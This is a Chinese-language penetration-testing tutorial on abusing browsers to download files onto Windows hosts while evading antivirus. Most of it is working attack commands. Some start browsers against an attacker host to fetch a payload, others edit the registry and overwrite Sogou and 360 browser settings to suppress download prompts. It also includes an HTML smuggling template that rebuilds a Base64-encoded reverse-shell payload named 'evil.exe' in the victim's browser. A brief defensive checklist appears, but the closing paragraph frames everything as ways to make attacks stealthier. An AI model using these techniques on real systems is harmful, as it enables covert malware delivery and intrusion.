利用浏览器进行文件下载的探索
字数 1177 2025-08-24 07:48:10
利用浏览器进行文件下载的技术探索
前言
在Windows主机渗透测试中,文件下载是常见需求。传统方法如certutil、powershell、bitsadmin等由于滥用已被杀软标记。浏览器作为具有合法签名的应用程序,其下载功能通常被安全软件视为正常行为,因此可以作为Living Off the Land Binaries (LOLBins)的有效替代方案。
常见浏览器下载方法
基本命令格式
对于已安装并添加到环境变量的浏览器,可直接使用以下命令:
start msedge http://192.168.1.1:19900/demo.rar
start firefox http://192.168.1.1:19900/demo.rar
start chrome http://192.168.1.1:19900/demo.rar
特点:
- 默认情况下会直接下载文件(取决于文件类型)
- 需要浏览器已安装并添加到环境变量
国内浏览器下载方法
搜狗浏览器
-
基本命令:
start "C:\Program Files (x86)\Sogou\SogouExplorer\SogouExplorer.exe" http://192.168.1.1:19900/demo.rar- 默认会弹出下载确认框
-
静默下载配置:
通过修改注册表实现静默下载:reg add "HKCU\Software\Sogou\SogouExplorer\Downloader\Download" /v DirectDownload /t REG_DWORD /d 0x1 /f reg add "HKCU\Software\Sogou\SogouExplorer\Common" /v SlienceDownloadEnabled /t REG_DWORD /d 0x1 /f- 关键注册表项:
HKCU\Software\Sogou\SogouExplorer\Common\SlienceDownloadEnabledHKCU\Software\Sogou\SogouExplorer\Downloader\Download\DirectDownload
- 值为1表示启用静默下载
- 关键注册表项:
-
完整静默下载命令:
reg add "HKCU\Software\Sogou\SogouExplorer\Downloader\Download" /v DirectDownload /t REG_DWORD /d 0x1 /f reg add "HKCU\Software\Sogou\SogouExplorer\Common" /v SlienceDownloadEnabled /t REG_DWORD /d 0x1 /f start "C:\Program Files (x86)\Sogou\SogouExplorer\SogouExplorer.exe" http://192.168.1.1:19900/demo.rar
360安全浏览器
-
基本命令:
start "C:\Users\Administrator\AppData\Roaming\360se6\Application\360se.exe" http://192.168.111.1/123.rar- 默认会弹出下载确认框
-
静默下载配置:
通过修改配置文件实现静默下载:- 配置文件路径:
C:\Users\Administrator\AppData\Roaming\360se6\User Data\Default\Preferences - 关键参数:
prompt_for_download(false表示不弹出确认框)
- 配置文件路径:
-
配置检查与修改:
:: 检查当前配置 type "C:\Users\Administrator\AppData\Roaming\360se6\User Data\Default\Preferences" | findstr prompt_for_download :: 修改配置 echo {"download":{"intro_suda_show":true,"prompt_for_download":false}} > "C:\Users\Administrator\AppData\Roaming\360se6\User Data\Default\Preferences" -
完整静默下载命令:
echo {"download":{"intro_suda_show":true,"prompt_for_download":false}} > "C:\Users\Administrator\AppData\Roaming\360se6\User Data\Default\Preferences" start "C:\Users\Administrator\AppData\Roaming\360se6\Application\360se.exe" http://192.168.111.1/123.rar
高级技巧:HTML Smuggling
为避免下载可执行文件被流量设备检测,可使用HTML Smuggling技术,将payload隐藏在HTML页面中。
示例代码
<html>
<body>
<script>
function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array(len);
for (var i = 0; i < len; i++) {
bytes[i] = binary_string.charCodeAt(i);
}
return bytes.buffer;
}
// 32bit simple reverse shell
var file = ''; // Base64编码的文件内容
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'evil.exe';
if (window.navigator.msSaveOrOpenBlob) {
window.navigator.msSaveOrOpenBlob(blob, fileName);
} else {
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
}
</script>
</body>
</html>
特点:
- 从外部看只是访问HTML页面
- 文件内容以Base64形式嵌入
- 在客户端通过JavaScript重建文件并触发下载
- 可绕过基于文件扩展名的检测
总结
-
浏览器选择:
- 优先使用系统常见浏览器(Edge、Chrome、Firefox)
- 国内环境可考虑搜狗、360等浏览器
-
静默下载实现:
- 搜狗浏览器:修改注册表
- 360浏览器:修改配置文件
- 其他浏览器:可通过类似方法分析其配置存储方式
-
隐蔽性增强:
- 使用压缩包等常见文件类型
- 考虑使用HTML Smuggling技术
- 避免直接下载可执行文件
-
防御建议:
- 监控浏览器异常下载行为
- 关注注册表和配置文件的异常修改
- 对HTML文件中的可疑JavaScript代码保持警惕
通过合理利用浏览器的下载功能,可以在一定程度上绕过安全软件的检测,实现文件的隐蔽下载。在实际应用中,需要根据目标环境选择合适的浏览器和下载方式,并结合其他技术提高攻击的隐蔽性。